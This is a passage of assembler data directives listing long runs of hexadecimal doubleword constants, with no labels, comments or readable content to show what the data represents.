5C5D1A55h, 9F600623h dd 5F0B0C0Ch, 0DEF47B8Ah, 0A8311631h, 5F58F264h, 4F6E8271h dd 0E9686245h, 38C65E6Ch, 6551FE25h, 758D496Fh, 3D313B3h dd 5A5ACAD4h, 9441C521h, 1F9ECC3Fh, 0AD74194Ah, 0C7F03691h dd 0A24C4779h, 4312032Dh, 3D44AD40h, 0DD363A9Fh, 2C97B86Dh dd 0EE9226EDh, 680927DBh, 499963C6h, 0F89EE551h, 595A7108h dd 5EE93603h, 628EB2E3h, 5F598928h, 2B983FB4h, 817B4841h dd 2FB5DC7h, 0E405F587h, 8029FC01h, 5F6F2F7Bh, 0C1E325E9h dd 0FBADB17Bh, 1E003EC6h, 0E915D31Fh, 2FC01633h, 6502CFE5h dd 0D312B542h, 0FBE4F2D7h, 41AEF883h, 0C0B31CDh, 829D59CBh dd 57C75D99h, 173EE9E5h, 8D64516Bh, 2C50F3FAh, 21020352h dd 89E1DA5Fh, 845A0287h, 64197213h, 0EB5DCB08h, 16D642B6h dd 0E14CB4E8h, 0A840700Eh, 74F1C764h, 163A007h, 0D65E2FC8h dd 0B2BD9B66h, 8F025D9Ah, 0E93802C1h, 0BDBA9225h, 0FD5344D1h dd 0ABB417B9h, 66178301h, 0F6F8372Dh, 356C126Eh, 0F254B116h dd 26B65109h, 764B42CCh, 0B62D88C6h, 129D697h, 20687EEEh dd 1F40630Ah, 0EC4225B4h, 0E0E4C0C5h, 9F13BEBEh, 0CE20C366h dd 65F8FA17h, 0BEE35958h dd 59310689h, 56C6917Ah, 0C7B60107h, 9ECBB4DCh, 0B523A89Fh dd 0FEB4165Ah, 4B8918C3h, 103BBC57h, 0C620B81h, 0DB7F23FDh dd 25439134h, 0DC2EE358h, 1DB05526h, 1D011001h, 9E72E905h dd 5D32D83Ah, 0BD57F3BFh, 37CC7F12h, 52DA85F5h, 0CCC874C2h dd 5D646BA7h, 0A880CDDDh, 1382C31h, 9BCF8135h, 2046CE73h dd 7B12A158h, 15016F41h, 0ECAF99BCh, 16480C20h, 0F5534330h dd 590803C4h, 9FB80E3Eh, 0FDC467E7h, 2DFF3C8Bh, 0A2EDA726h dd 209DADDDh, 0FC6C1CE2h, 0C24C2A76h, 4F82DDE0h, 0FF096766h dd 23F2B320h, 82C043ADh, 8A0524C6h, 0D6013F4Ah, 9E08EE28h dd 34FFA7D9h, 64E914D8h, 209EB32Dh, 3B065020h, 49BBC231h dd 0EAD350DCh, 975836D8h, 0F54BB55Eh, 93126D89h, 4768E977h dd 0C6035432h, 232D6C18h, 55C7A80Bh, 39A48258h, 6749746Ah dd 0C62B075h, 5873C731h, 50902BB7h, 4398A1h, 7AFB36F5h dd 22D9E943h, 0B3DC59Dh, 0F0305303h, 18484C22h, 56D5102Ch dd 6F04DB48h, 0C26ECE4Bh, 9291C1Ah, 0CFC275B9h, 27E161h dd 0BD4DE868h, 668EA898h, 15D95B81h, 0EB38A025h, 0C7209192h dd 1ADB3DD2h, 0D60C8F37h, 7CFC2D65h, 0E50FA2F2h, 1262E4D4h dd 7EDC1h, 3922DEC8h, 8A90292Ah, 49F4215Fh, 0D5311387h dd 8B250841h, 3E1A2D01h, 997B4926h, 71965162h, 0A9472F0Fh dd 6831028Bh, 212A2B5Dh, 7E62EFCAh, 0FF004A24h, 57B176BEh dd 3AF4002Dh, 0B00D6B3Eh, 1A587B32h, 2E4A13BDh, 1AF087FCh dd 6C51BC5Ch, 1DA12B6h, 0C04BEBFFh, 951E3F16h, 80BB74Ah dd 982044CCh, 0D8F700A5h, 5A264235h, 0F37E0572h, 29327FE4h dd 2708B6C3h, 0F119C5E7h, 1CCF2DD7h, 0DD12F1B3h, 8A1409D4h dd 7DBD1654h, 295F6F32h, 2C90C8D8h, 0BE0170BCh, 38A57355h dd 0D6516220h, 0F934C40Dh, 0A5FD8855h, 0D689EC76h, 2096C642h dd 0E981F533h, 0FE7AC4BFh, 632885A0h, 0E9779005h, 3CFAC47Bh dd 0B45836BFh, 0E68A056h, 9F5E9501h, 4A7EE950h, 13D1A3F0h dd 74FB5C82h, 0C19C0066h, 268F458h, 9FCC3C4Ah, 5B0B404Ah dd 27438B62h, 187D1D4h, 7A05B5B9h, 847E7029h, 1D09D91Dh dd 741BF949h, 6E9D823h, 6A9215Ah, 912553CDh, 9774C6E8h dd 0D82C5F7Eh, 0E408A6A6h, 58DE25B8h, 14F16A44h, 0D4A77B38h dd 5BA1265h, 0AE01C630h, 2A7D7BCBh, 1D8DD3B0h, 0C37061BFh dd 65F78130h, 0FE290D03h, 14DB7E9h, 4793CA99h, 0F04A442Eh dd 9EB16A83h, 4D94230h, 83384CDDh, 0F702E707h, 66DD7h dd 329EDCB8h, 2176D48h, 0E8E95E5Fh, 5FB946ABh, 4825F854h dd 0F1117CEh, 48E42601h, 0BD2E70B7h, 0FEE98252h, 7AFA5577h dd 1F123A9Eh, 363E731h, 1251A36Fh, 0EFBC4C3Eh, 67D754F2h dd 91E984B8h, 6BC9FA7Ch, 82CEE060h, 860865FCh, 0C98100B5h dd 7CF54943h, 0E0B94095h, 2B4C274Dh, 27904DD8h, 0A7F3D009h dd 0E923F7EDh, 3D023990h, 1B35EACDh, 582E5430h, 0B57FFCC5h dd 0E94F01E4h, 0F6F031AAh, 63A7E8F1h, 0C7C34BC0h, 98346F7Eh dd 802E9037h, 5135E908h, 0AC3E132Ch, 28593777h, 1C2CA3E7h dd 5427772Ch, 0B031B5ACh, 205B9872h, 0BF1EDC18h, 0F5D687AFh dd 0EFC1B9C1h, 95D93461h, 4670AF59h, 0B56DFA50h, 0E1108B42h dd 0A528BFC3h, 9D4080A8h, 0FED203F6h, 0ECE280CAh, 632C579Fh dd 4DA341F2h, 389604B5h, 34BE122Fh, 5E12EAE9h, 64AECCABh dd 9C301741h, 2521E80h, 82B6CB44h, 694F6C22h, 0F17D9B75h dd 5A659388h, 6A4CE13Ah, 38505728h, 2960E955h, 0FE7EB151h dd 1B2DC97Ah, 6FDBA038h, 90E2A3D3h, 9A9CFA86h, 7D278667h dd 112330D9h, 8F84C635h, 555FB527h, 85FB4D82h, 98EE5405h dd 6D41785Dh, 0DFF0B96Eh, 51A8458Ch, 2BF002F2h, 0D52911BBh dd 0EEED84E0h, 3B6E7948h, 42548D1h, 82D4A80Dh, 0E94602FFh dd 0AFFDE1F4h, 49F14B51h, 0D97FEB91h, 0C98A2B1Dh, 70251CDEh dd 88515036h, 854ED579h, 0A3F362C4h, 43BB5E7Bh, 65784691h dd 35B42D98h, 6817BC76h, 0E8E349E0h, 0FD093604h, 0B3FFC05Bh dd 535A2C0Ch, 1A484AA3h, 12054416h, 0F300EA8Fh, 6F92B951h dd 0E92F1F50h, 589A2E65h, 1F2640F3h, 3ECDC538h, 0F89A3093h dd 6B53DE91h, 0DD66934Bh, 1356802h, 277A715Dh, 3223035Ch dd 3DDFB93Fh, 8BE53AFDh, 387AD56Ah, 0AAC065F1h, 0BD4AE835h dd 0EBE89C09h, 28706D55h, 161B2F4Fh, 3EC1D799h, 0D5EAC4D5h dd 0E46AE0Fh, 8161DDE9h, 0D9E468A2h, 0CF292835h, 590880B0h dd 0CF3ABD47h, 1FF4CC75h, 88875FF8h, 0E9855C24h, 46FAA097h dd 676C8AFFh, 49AA24D7h, 0CFA201DFh, 40079112h, 0BD23510h dd 0F6375E0h, 18177B13h, 0C809F41h, 36917A99h, 806BB53h dd 6D4E8D0Bh, 400C7905h, 0CA25E4BAh, 0A9B0434Ah, 0E7855A3Bh dd 9FB74CC0h, 931FFEEDh, 0B403E23Ch, 4E6FB6AEh, 2E150EEAh dd 4B038F12h, 0E55B0AE3h, 0FE913F00h, 2C00A83Ah, 0E095661Eh dd 78099B9h, 0E2880FECh, 0E9D00158h, 0A4172B32h, 0F1A721EBh dd 0C3739275h, 277B21B9h, 357C0D46h, 0F9446D40h, 1FC19F68h dd 1A9C404Eh, 6C4B267Bh, 0E4594902h, 0A0A8F477h, 0EF5B4A08h dd 0BD83450h, 75298DB3h, 8704120h, 530BB5B7h, 0DEDD1EE9h dd 7EC6261h, 391226E4h, 8AB2A31h, 6805051Fh, 0D560308Eh dd 26875A29h, 1E5E4A76h, 40D3C932h, 1C5C6702h, 46C1BB00h dd 26D0BF69h, 1DB4065Bh, 0B5349A79h, 1C254678h, 0B7C44496h dd 0A3966150h, 0B5C3088h, 85555D5Eh, 1190533Fh, 25F027BAh dd 1778A7D8h, 0F388FB9Bh, 0AB8003Ch, 0D6BE029h, 203E9718h dd 0B5C930A0h, 0A462943Ah, 0E211D3C0h, 0E153FBB4h, 0DA48BB66h dd 832F17EFh, 4FFBE893h, 0DFBC581h, 0EB932132h, 0BF2555Ch dd 25AE8045h, 2E3D2B40h, 909EF83h, 8F4ECC8Eh, 428738A0h dd 874DFE26h, 5F522D1Ch, 8AC99901h, 2D70E17Ah, 1B4B39E9h dd 0CCDE10AFh, 1D888FBFh, 5FD7F43h, 0D20B02DBh, 459E12FFh dd 0C3D66E18h, 0EE10C71Bh, 0F77C2925h, 5495C12Ah, 67A93A8Fh dd 52D4C893h, 0D151BCA1h, 0D3826E7Fh, 52EF7608h, 17BF6080h dd 0FA9D01B6h, 0B6B68E95h, 2D16C8B3h, 2731ABA8h, 0B431E365h dd 8A6E1D0Bh, 5BD112CAh, 61356B3h, 0DA1FEDE7h, 53537745h dd 38CA6885h, 12415A8Dh, 332B1ED7h, 514AD05Dh, 0FBD0A7A8h dd 0A27E0327h, 85A4C3CBh, 0A7B0012Ah, 50EFB98h, 86FAAD74h dd 3108BDC8h, 6C189409h, 6A088886h, 89730C60h, 9A40DF20h dd 0A05B40F0h, 62DC5940h, 54210802h, 10FC1703h, 18303330h dd 1A10EC3Ch, 5808DF99h, 1D08188Ch, 4D008DDh, 33192210h dd 18B49168h, 10E65A89h, 8C69AB8h, 33180F73h, 0A408280Ch dd 0A1082931h, 7101A196h, 68308CE1h, 62A8089Bh, 91DB182Fh dd 6DF4602h, 0AF201185h, 0FBA220DEh, 30C1CE31h, 88C2CEDh dd 2118FD3Bh, 63321040h, 0AF5A10E4h, 0E39C0810h, 20C72218h dd 8C4A3C1h, 6706A9EAh, 8C202093h, 0CF833107h, 888FB110h dd 2CFFB908h, 7520319Eh, 30899B3h, 0A051C181h, 0B101B8B0h dd 51FC076Ah, 84162DFh, 58031678h, 90414490h, 40AC623Eh dd 25030815h, 0C6107F87h, 188AE3C9h, 20A04C20h, 3031E7D6h dd 0C7A908ABh, 8CBD7901h, 88FF128h, 0B60E403Fh, 649FA840h dd 4C47195Ah, 0C424388Ch, 4C86F11h, 84066DF7h, 5620084Ah dd 0A0322034h, 691FA433h, 0DC3010CAh, 6C83108Eh, 18855B19h dd 41E0521Eh, 0D308B4AFh dd 8977210Ch, 99BB8060h, 987008CAh, 99CC8D8Ch, 244981CFh dd 5840D620h, 8CE8A8EAh, 0ED4C800Fh, 636E10C4h, 8357106h dd 2BC86154h, 62193340h, 858028B0h, 0A4460405h, 3310AA69h dd 7D0855A7h, 664918AEh, 0BBD01090h, 10547210h, 3C1092C1h dd 0D50F126Fh, 888CD854h, 528A0DBFh, 8861ED10h, 12309E08h dd 0D8A45D87h, 0C3AC08D8h, 94531B81h, 0F106A46Eh, 103108F8h dd 43D018A5h, 61FE0898h, 0A08057AFh, 1AEA800Bh, 80F94380h dd 189A176Bh, 7D10B763h, 920870C0h, 81B06594h, 72EC223Bh dd 0E091CE04h, 1F014F6Ch, 9E28898Ah, 2D18A6AAh, 9C605418h dd 0E1F8A8C5h, 2910CCD3h, 249215E1h, 310E3720h, 0E618E011h dd 0B76B019Fh, 922EEF01h, 0C444A808h, 230A8DA4h, 42DB88D0h dd 0C5F1B08h, 0F908CCD4h, 9C891961h, 0A432E8FCh, 3439064Fh dd 8B3C3E84h, 4C7B72C7h, 2C47EFC0h, 31EB0275h, 0B90E8913h dd 3DBDA7h, 8F440105h, 0B0B4940h, 8BF775C9h, 13D230Eh dd 0B9F003DEh, 33318F01h, 0B10F01C0h, 2C84304Fh, 0AC34E9ACh dd 0C74B79AAh, 2C021BCAh, 7A1FE9CEh, 1E001FE4h, 81024F72h dd 2551D9EDh, 6F723C31h, 0E9580880h, 465A162Fh, 0CCB57Eh dd 2F6AF4B5h, 55C09F7Eh, 0A00C6A42h, 3041498Ah, 2F180FAAh dd 7EE19833h, 806ABA5h, 0C214821Ch, 7E200921h, 0AE90F80h dd 34B6FE78h, 74F68019h, 8A2B9C06h, 0F0881C59h, 8BE9C182h dd 4647F77Eh, 2B16D522h, 4EFB0CE9h, 46E7EA5Ah, 0C475590Eh dd 28505CFAh, 18483F1Ah, 93483DAh, 0EBB0487Bh, 58C11731h dd 0EDA14089h, 68FA3521h, 1A60155h, 3E80E908h, 68FA9F17h dd 3469B987h, 0B7D3686Ah, 0CC10D015h, 582E365Fh, 0FF5E9D0Fh dd 78CDCD17h, 1C0806h, 1D875ABDh, 498CE959h, 46F644D2h dd 5A8CBC4Ah, 0F0D273E2h, 6C12EA93h, 8AEBD11Eh, 88EB2A93h dd 29D8BE05h, 0D8C838D0h, 0E982A15Eh, 0DE1F0C44h, 0A24425D7h dd 0D63767E4h, 2D051BC2h, 398B417Fh, 7BAF2091h, 155846Eh dd 2B7DE907h, 0DE76F01h, 0B477FF12h, 5901BB58h, 32E971F5h dd 236A0146h, 11429B6Ah, 8FF53A9Eh, 0C642A015h, 761C45F0h dd 1D4D255Bh, 19136872h, 1EEF43Bh, 4E4418E0h, 45A12F7Ah dd 0E11EC3E4h, 0D829F8EBh, 0E59A35E9h, 0F970638h, 81035023h dd 0D34972C6h, 0B1F6B038h, 5D580EFFh, 109F9E9h, 838EC6F9h dd 1C4CDFE8h, 0FED3D20h, 6C2209FCh, 3D40B369h, 8825685Ch dd 0A2187D39h, 5D006F1Ch, 78740D72h, 12D19B3h, 28DA0865h dd 0D02AB951h, 315A54EAh, 0FD2D3ED8h, 0BF9B0760h, 78B79DF8h dd 3F682FDEh, 79966E46h, 5EE90252h, 0C0A10F30h, 0D32CD028h dd 367268E0h, 31B515A8h, 0BAE16BFAh, 27592BDEh, 8EB65282h dd 94CD188h, 1722615Dh, 0BF1826AEh, 0F41B3E04h, 5FFB3103h dd 32018153h, 67444C36h, 6443558h, 9738B3AEh, 82052DABh dd 13A7E986h, 84FDA001h, 0B6D13233h, 8D1F3F0Eh, 107DA72Dh dd 9D494307h, 6356344Ah, 0A0EDC109h, 0AB5DE2A5h, 0AC0CC128h dd 20896FC0h, 0BD803F33h, 0EC3900E1h, 1B7EBE48h, 314E1437h dd 9A711DECh, 0EAF69DCEh, 30D9AC3h, 80D4B53Ch, 0C59B2DE5h dd 252583F4h, 595A9B03h, 1F78A668h, 6D207499h, 13EFB9F5h dd 7558A34h, 423AA8BDh, 1CF76262h, 171283A4h, 27B19FCh dd 29C5CB6Bh, 0E5F7307Ah, 9E2E88B6h, 0E6FEBF00h, 9F014D32h dd 0CFEF7680h, 143B831Eh, 0E8F1A5E9h, 124C7BE1h, 0AF5B26E0h dd 0FD68EB71h, 0B711847Ah, 0D6E90C29h, 9ED437Fh, 1DEF7B1Ah dd 338D7176h, 0E67BB427h, 67005A2Bh, 47F8BF57h, 810E03AFh dd 343BB3F7h, 7CF6A0DEh, 0C2599B27h, 0C5CC5C94h, 0D1C5564Dh dd 0FE1C6845h, 0B660E3F6h, 954B345Dh, 0C353060h, 165E3D02h dd 0FF9217E9h, 0E15BDF33h, 76198FF6h, 42E7514Ah, 0A2C8B2BCh dd 53480888h, 43EA00BCh, 0E9F854E5h, 10927B8h, 9F2D1457h dd 0FB71B864h, 92DC0683h, 0C7AA86Bh, 0E1200F02h, 0C2F7011Ch dd 0E90802B3h, 0D7ECCA9Eh, 0D004CB1Ch, 2908093Bh, 803256AEh dd 977B8437h, 0F4126D5Ah, 34094111h, 0D9EA2A44h, 1251219h dd 4CE56810h, 56CF331Eh, 0EE194620h, 0C12D5E13h, 98C9F8E6h dd 303A3B21h, 5AEBCE03h, 0EEE07927h, 0F48CD94h, 85A91A2Eh dd 0D8C7F448h, 7359EDE9h, 31D70E6Eh, 0C10958FAh, 0F2084CEAh dd 29360974h, 9A804E0Fh, 599C12FCh, 6028EDBEh, 0E0495338h dd 3E46C958h, 1860609Fh, 358D23BFh, 52D7C1B5h, 0AC4E0768h dd 60A12F15h, 130B593h, 5966EA88h, 2B5AD120h, 78F165F0h dd 0E9CA0951h, 94D59B21h, 685B0EAFh, 0AA163202h, 975E8EDCh dd 7619EDE0h, 32FF10C4h, 0AA08C4h, 493A2D6Bh, 29140191h dd 3E0705C8h, 61538059h, 0ECE941D4h, 395E9A28h, 0BFF908E1h dd 176F3380h, 0EEA07C10h, 0B05C3155h, 93E510F4h, 0D80A9148h dd 9C5B01h, 0F5452C3h, 2814BEB6h, 10B86A56h, 0B55F9414h dd 81C03148h, 452B3510h, 4680736Ah, 72224064h, 839EBC1h dd 8FC49E81h, 34E0B397h, 0FD5638E9h, 3B3CEF4Eh, 0BB127E9h dd 133CE559h, 15BCAD29h, 31A582B5h, 5F65ADE6h, 2DBC8512h dd 26100592h, 2E81EE62h, 2E9D2EAFh, 9FD8AACh, 2AF281CFh dd 6021E03Bh, 65FCD02Dh, 0D7F3EF5Ah, 1A76C203h, 57F33480h dd 0B43B1CA6h, 5D0D9315h, 63A59641h, 7282542Ch, 2A991AA7h dd 64B0D961h, 754FA87Ch, 0C65453CCh, 6B9D40DAh, 8AC680B7h dd 0FD69CD2Bh, 0D2F0A22Fh, 0ED5E0DBDh, 58E0A328h, 0BED6DD71h dd 0F7498E8Fh, 38A20110h, 0F158F05Bh, 3668173Bh, 17865DFDh dd 0B22FC991h, 1D951832h, 2EF51C19h, 6B7244BFh, 0AD60FF28h dd 9344E0Ch, 43DBF70Eh, 545EC400h, 490121C0h, 1918BA52h dd 876E5AB2h, 80E991E2h, 0A48C352Fh, 0DE27B7B4h, 0CEE9F88Ah dd 5116B464h, 4B80CC2h, 0D8B68159h, 4FF23341h, 0E98378BAh dd 7D848225h, 2BFCE296h, 545B6069h, 4D7A3EB5h, 568F8C5Dh dd 2698102Eh, 7409F480h, 0F5E78853h, 0CDD3DDC3h, 8E5C088h dd 0E96DE938h, 5909F62Ah, 838AE620h, 266613E2h, 0E29584BFh dd 7665FDE1h, 0D0000DA6h, 0E94F371Eh, 2F8B9DF8h, 1E218ECDh dd 2CAB5917h, 48A00158h, 5F820970h, 0F102980Bh, 3F70FEF7h dd 581A4E60h, 0E11A4768h, 0C726F93Bh, 570B290Ch, 399DA5C6h dd 415C55FAh, 4E687452h, 0B2188C53h, 0D994FBFAh, 7934C20Fh dd 76E8F3BCh, 834D5C36h, 783DB700h, 0E3FEE923h, 3DBF3ED3h dd 8D8B7B0Ch, 57993012h, 0A560448Ah, 0C231025Ah, 0B1346058h dd 30528110h, 3FF52A2Dh, 13D667F2h, 53C7AC0Ah, 98AB933Ah dd 92A64C8Dh, 88BAD6B7h, 7A25F7F9h, 0E6C247Dh, 7DED89C6h dd 9150F5DCh, 0EB16D7CFh, 9C2C4B2Ch, 74551786h, 1C268EADh dd 18253AB1h, 886B0E91h, 5E81D674h, 0BC630D2Bh, 0E48B3ABAh dd 6833ED02h, 0EEE13E1Ah, 4B897D02h, 26C4491Fh, 14AB8512h dd 0E127DE6Eh, 0B0FCA63Ah, 9FCF0AEBh, 9ACAA009h, 200E4065h dd 37331D30h, 0B2FEAD01h, 0BF4BE9F8h, 71DB4A0Bh, 7040B013h dd 88710E35h, 5125070Dh, 0F24B894Fh, 0B069D733h, 100B20C2h dd 2E5EA7A1h, 1F73A546h, 8556B512h, 0E9002971h, 10DF1416h dd 0C80D5078h, 0D6B0917Eh, 0B64A530Bh, 0F4468014h, 0F633E576h dd 19629F93h, 0C9A2E777h, 59630DFh, 9D4792A4h, 0FCADF345h dd 0E6C130AAh, 7762053Ch, 307DF6h, 0D1080FB2h, 0B6701BB0h dd 7AB1FEB5h, 98650A85h dd 2502CFDAh, 0AE68012Ah, 0D60DA977h, 820A05B9h, 0E970881Eh dd 0B82DA624h, 0F678E54Eh, 51AB81D0h, 15912C3h, 0E83D04F0h dd 11BA0073h, 7B36B461h, 0EEE15942h, 0D504258h, 38FD0CF3h dd 0DBEE0F9Fh, 37995C17h, 0A73C72BCh, 0F00216D0h, 3BC9B239h dd 291E6BB9h, 0EF7E9A63h, 0E329737Fh, 131B5FE9h, 0D1A95E51h dd 5FC2622Fh, 8C442B59h, 955F1BF0h, 168152C2h, 0E4F375E2h dd 1606E505h, 0D8F75908h, 0F9794B5Ah, 0CB899EF7h, 9F27218h dd 7D19212Ah, 738825Dh, 94DF0B50h, 3D2D3029h, 59EC2810h dd 1246B33Dh, 4AF49922h, 0D3B867C8h, 2FF4D2F2h, 3BFC5044h dd 0FFBC804Fh, 0ADD1EEE5h, 0D2A70258h, 1C7EBDE2h, 101DD672h dd 10BC908Ch, 0A44BC3D3h, 2141A36Eh, 8242FA88h, 4013BD00h dd 2DC170E8h, 0C40106EDh, 0BD7FC316h, 12510F0Ch, 5DEA43CEh dd 0C0039AC1h, 2A544607h, 0B7B27B61h, 4D6169FAh, 0D7446834h dd 6EF88661h, 6431396Dh, 2EA4406Fh, 0B560EF25h, 83FEBEE9h dd 634E07F9h, 566584Ch, 76D94038h, 5A8D44BBh, 53708158h dd 7068CD36h, 5B4A486Fh, 95A93C40h, 5C898613h, 0DF3F81D3h dd 0BBD2AD52h, 0E909DDCEh, 1F291EA9h, 0F50B5FFCh, 0A5BB568Ah dd 252B140h, 1120466Ch, 0EEB627E9h, 40538319h, 0B223FF91h dd 44E94E09h, 128CEB1Dh, 0FDF4B967h, 0B15B2E23h, 25ACD508h dd 842464F6h, 61594910h, 7B37F898h, 5E41E02Dh, 18123057h dd 4545A779h, 257E130h, 0E91C150Eh, 0C548ED55h, 0CCFD02E6h dd 0AD261AEEh, 79077722h, 56D9271Dh, 94728F6h, 8346851h dd 3F72A526h, 53504B12h, 0A9527404h, 7F0551F2h, 0B1015A02h dd 0BE0804ABh, 0C53E378Bh, 580CA3CEh, 0E0283122h, 0FFDD805Ah dd 0E5B2886Eh, 0DBB7E1FAh, 66C90AADh, 9A2F0AF5h, 9D046FB5h dd 0CA31AE4Ch, 6063D514h, 0FA545317h, 0B34EEE3Bh, 3AC1682h dd 517C31D0h, 53569754h, 724BDE25h, 2EFA447Dh, 42DE22ABh dd 0B47D20A5h, 49E9172Ch, 3AA579AFh, 4D3F26B0h, 0DD503742h dd 70E2974Ah, 0F7820A79h, 0CCEE68D6h, 50BF0003h, 0E982F099h dd 94ACC6DAh, 443A120h, 6B4A972Dh, 0A184FB63h, 2DEA0716h dd 6DBC3A3Bh, 0D37E65A2h, 9205AD01h, 17E6D25h, 6F49A851h dd 5FC76A74h, 5A133EE7h, 2DC22825h, 3703A107h, 0EC4ACC6Ah dd 0B4F42141h, 9E92B756h, 1135F60h, 562FD6B5h, 93C2219Eh dd 305A0536h, 685FFAD7h, 8B25182Bh, 0B3643E0Bh, 0F5E3C9CFh dd 48E66780h, 465A285Dh, 4528F6EEh, 29FF211h, 48436B72h dd 96CC217h, 89E2F809h, 0ED72C857h, 0C8E1A822h, 302E0905h dd 0F40F50A9h, 2185C7CDh, 0D1792090h, 5CAE4F17h, 991941FFh dd 30567924h, 0E573986Fh, 36E9050Ah, 524356AAh, 50FDDA54h dd 64BCBD30h, 0D440E798h, 8B31BB5Bh, 87D4F26Dh, 120AD582h dd 33715F47h, 586742Fh, 60B255h, 0A0052A8Ah, 0D22FE96Dh dd 28264C5h, 425565EBh, 9DDDEF7h, 1796F4F8h, 84D3C503h dd 46B2BBEEh, 59812D8Ch, 26685709h, 2E072505h, 3431EDB1h dd 0CC03D8DCh, 5FAADE0Fh, 6A09ABF2h, 5D5EF331h, 41E936E8h dd 0C6BCC454h, 8A41BAB8h, 2B021A42h, 0DE24BAD5h, 5B34A939h dd 54B8BE4Ah, 85F6AFB5h, 0A25D882Fh, 54AA1C9Bh, 8FC65066h dd 0F3BB0AC0h, 0B268132Bh, 90CAE60Ch, 590B8129h, 49B8133Fh dd 0B4D65206h, 0CB40FB20h, 7A862F68h, 352F5646h, 10151AB5h dd 4B7868E4h, 6AF367Ah, 78FCE924h, 0DF295D89h, 5C18B597h dd 0B7556843h, 8D60A1DCh, 371A244h, 3A5E381h, 0F3B179A3h dd 1D80D8BEh, 19EE925h, 5F5A578Dh, 9FE65BE0h, 0B98481F9h dd 0FC87740Eh, 33E9CF80h, 17029A2Ah, 0C0505FF8h, 2238286Ch dd 99F1848h, 0DD960CE9h, 14443E94h, 47F041FDh, 0FFE475AEh dd 60BFBC53h, 10F22D3h, 81B36E97h, 18BC41A7h, 2F74689Fh dd 0E7151853h, 0F0CB17E7h, 0C13DB4E7h, 0A428B95Fh, 530798EFh dd 0E24D7BB7h, 0D3543E4Fh, 0B5515240h, 0F1969585h, 76E03AF3h dd 0AC07459h, 3A486808h, 44B7895Ch, 800E93F4h, 0CFFEA1C7h dd 3131B151h, 41722BF5h, 0C2E07905h, 3404FE88h, 62EAD021h dd 0C94AB119h, 68B98155h, 7B317B38h, 0D131F789h, 1293A82h dd 2362BCFEh, 26E4442Eh, 17154E46h, 5560B04h, 0B5826D80h dd 0E9093F12h, 71011076h, 77356051h, 7175B24Eh, 8821BE0Bh dd 0F51F11Eh, 3B3147Bh, 4E28EB62h, 0C7B408Bh, 3F943014h dd 7FCE01B3h, 0D3295489h, 9081CA0h, 10CA4E9h, 0DACE9855h dd 8BAADF35h, 0EA768BEAh, 55BFAE89h, 0BD552DB8h, 5C16B009h dd 650F044Bh, 489DB800h, 93B03808h, 4A5D5205h, 0EC870930h dd 0B0AD0F84h, 0BD96602Ah, 4BDB63A1h, 41E8F672h, 3C19C135h dd 9E42008h, 0BF3A7FF0h, 0E9FCC30Ch, 70CD3B35h, 88685E21h dd 0F389C47Eh, 35EC9214h, 0B7F61B2h, 0E214D6E3h, 8F09EF5Bh dd 9321470Ch, 42F969DFh, 0F8C28582h, 0F581EC40h, 5C8D11E1h dd 3C05A453h, 0BA35C41Bh, 0E9CA22D0h, 0B53370B2h, 0C5C2E5Ch dd 4284E958h, 2D3CBA5Eh, 810D0762h, 0E4017DCAh, 0C1214A57h dd 0ED9C49EAh, 2FB9217Fh, 8D9334F9h, 32113F14h, 1DB215B5h dd 7C012D95h, 0AB444262h, 88D386A4h, 54C3672h, 0B06584E4h dd 83583504h, 0E7D1A568h, 2B6360Eh, 5E7B1CF6h, 0D4F9F74Eh dd 4B4CE905h, 605FBED0h, 56B002Bh, 37D920B8h, 0E916575Dh dd 2CF49C15h, 0F5451DFDh, 4AF18177h, 0EC90675Bh, 52D6261Eh dd 50E072ADh, 424A1368h, 8D5E7DE3h, 3F0BE5C1h, 1B95C3A3h dd 866C8A1Dh, 87C8802h, 519DA1BDh, 123AD6E9h, 0FE9CEAE9h dd 9C2AFE56h, 0E7BB05C2h, 2680FB2Bh, 0FE6722C5h, 0B13EFB52h dd 0EF08041Fh, 68291E2Ch, 2F2024FDh, 74BCCF6Ch, 0BFDB7F7Ah dd 85824D0Ah, 28B85FBBh, 33CD9570h, 7D6C380Ch, 4D0FEEE8h dd 0FC4FDAFEh, 0B9278497h, 5B0030B2h, 9873D105h, 0E828012Fh dd 46F8072Dh, 1816A7EEh, 0CBAE2C8Bh, 7A7404F9h, 0B0C078B0h dd 16A70B90h, 0BEF0317Ch, 56014A8Ah, 97734A68h, 0F6208145h dd 7B726502h, 37110C82h, 1D53383h, 0EB66E934h, 53C2302Bh dd 74034547h, 0AB76BE05h, 2915880Dh, 68060AECh, 8F35272Ah dd 0EAC491BAh, 69C0BF64h, 5AE9FA87h, 5C01E0F4h, 0ACDF3B5h dd 961E0F30h, 0DE5BBC50h, 0C09C893h, 0F0069005h, 3C3A2E67h dd 80642CCCh, 5821D3B9h, 0E104817Ch, 141E74F7h, 5E8327ACh dd 2B4B749h, 0E05964FDh, 0A005C128h, 5B018EECh, 0BE6435CDh dd 5CED5160h, 42070E08h, 0E85398E9h, 125294AFh, 49F4DD3Dh dd 30A5B606h, 56F754DEh, 8F53404Ch, 0B7C7DFAh, 0D744930Dh dd 0EE0D3616h, 0A89E1F64h, 0B4C2C06Ah, 8231E97Dh, 0E58822A0h dd 400A4720h, 0C31580E8h, 3F5D668Ah, 81D59002h, 30FF5C2Dh dd 9689D67Bh, 0BDB96486h, 54EE0527h, 92BF253Ch, 8B769BFFh dd 7471F825h, 60F34C5Bh, 5485A84h, 6944768h, 0F2848B17h dd 92C0B3FBh, 392FC1AFh, 5058801Bh, 0F103FFB8h, 61DBF64Fh dd 485E1608h, 0E132DD0Dh, 1FAD685Ch, 44AF3DD2h, 0C5024931h dd 0F506A44Ch, 0DA35FB3h, 3370FD09h, 3683574Bh, 0FBAADF29h dd 2CC1A05Eh, 4F37010Ah, 48F78101h, 60AA9442h, 929EE3D6h dd 0F91DA180h, 0BDCD890Ch, 0E98D2359h, 1D702775h, 6D570FEAh dd 6FA75A33h, 0E5FD091Ah, 858E2EDFh, 0AE0127DDh, 0E95B9BB6h dd 0D2FFD3F9h, 0FAD09C69h, 0B7B58BA0h, 853FB42Dh, 8A5EC010h dd 493604ADh, 0C5D64782h dd 72923D7Bh, 0EE75C802h, 0CE25D9E8h, 0BD3C5895h, 0A0082E79h dd 0E77C253Fh, 74329800h, 48295A1Fh, 0F6078AD8h, 0EE7E6862h dd 70A055A0h, 0A16086E9h, 54E2B934h, 0B974488Ah, 5D7FF01Dh dd 12C78126h, 7B461E77h, 8EF890Ah, 3FDCE905h, 271764F6h dd 0EF307458h, 5BA08001h, 0D8F20FFCh, 9C262095h, 75E0B95h dd 9E92D4B8h, 13E077FBh, 0A624E955h, 